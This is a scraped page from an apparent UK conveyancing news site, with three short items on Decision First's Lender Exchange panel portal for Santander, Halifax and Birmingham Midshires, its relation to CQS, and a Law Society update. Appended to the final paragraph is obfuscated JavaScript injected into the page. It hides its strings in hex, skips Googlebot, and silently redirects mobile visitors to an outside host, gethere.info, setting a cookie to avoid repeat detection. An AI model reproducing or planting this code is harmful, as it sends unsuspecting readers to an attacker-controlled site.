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Birmingham Midshires Conveyancing Panel Portal Different to CQS

In addressing various concerns voiced by solicitors about the Lender Exchange, Decision First director Justin Parkinson has clarified the destination between the Lender Exchange (soon to be adopted by Llyods Banking Group) and CQS.

Parkinson admitted that CQS had been “a huge step in the right direction” but that it did not cover non-SRA regulated firms. By this he means licensed conveyancers regulated by the CLC.

He added: “Some lenders also say CQS doesn’t go far enough, so some CQS firms don’t make it onto panels.”

Parkinson did not delve into where he, or lender such as Birmingham Midshires  believe that there are deficiencies in CQS. Furthermore, he confirmed that criteria to be on panels such as the Birmingham Midshires Conveyancing panel are unlikely to be changed as a result of the lender exchange portal.

“Lender Exchange will not change anything about the decisions that lenders make today on panel appointments. Lenders will make their decisions independently of each other and Lender Exchange will not facilitate the sharing of these decisions – each lender’s view of the system and firms on their panel is theirs and theirs alone,” Parkinson said.

 

 

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Halifax Conveyancing Panel To Help Lawyers Not Just Lenders

The creators of the Lender Exchange, the platform behind the proposed Halifax Conveyancing Panel Portal have declared that the technology “will benefit law firms”,

In response to vocalised and ongoing suspicion on the part of property solicitors  that the new scheme has been set up solely in the interest of lenders, Decision First have said “There is no doubt that lenders will see benefits in their panel management activities, but what we’re launching is more about delivering benefits to law firms than to lenders,”.

Talking to Solicitors Journal, Decision First director Justin Parkinson said that the original launch date of 31 March had been pushed back by four weeks to late April as the company was still testing processes and migrating data held by law firms on the Santander conveyancing panel, one of the main three lenders that have signed up to the scheme at launch. No dates have yet been announced for the Halifax (or Lloyds group) portal.

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Law Society Reassured by Cross Selling Clause in Santander Conveyancing Panel Portal Terms

Des Hudson, CEO of the Law Society for England and Wales has communicated with its members on the 6th March with an update on the new Santander Conveyancing Panel Portal, also known as the Lender Exchange.

Mr Hudson says in this communication that during a recent meeting with Decision First he raised concerns about a recent declaration form sent by Santander which asks solicitors  to agree to information being passed to group companies of Decision First for the purposes of sending information about relevant goods or services. This  presumably relates to searches and defective title insurance.

In an effort to allay concerns Hudson says “We have been reassured that this is only an option and members are not required to agree to this request as part of the conditions of being included on the Decision First system. For those members who may have already done so and wish to opt out you can do so by putting this in writing to Decision First via the Lender Exchange system once it is operational. We urge firms to consider carefully that issue”.

In the meantime it looks as though the start date for the Lender Exchange is going to be delayed. In an interview with Decision First published by Todays Conveyancer, it is acknowledges ‘ We had March 31 as the anticipated launch but it’s probably going to slip back by a couple of weeks as we have amendments to make off the back of some late changes to terms and conditions and some changes to screens to make it easier for firms. But that’s just the nature of the beast of systems development, so we’re now looking at launching to firms around the end of April’var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}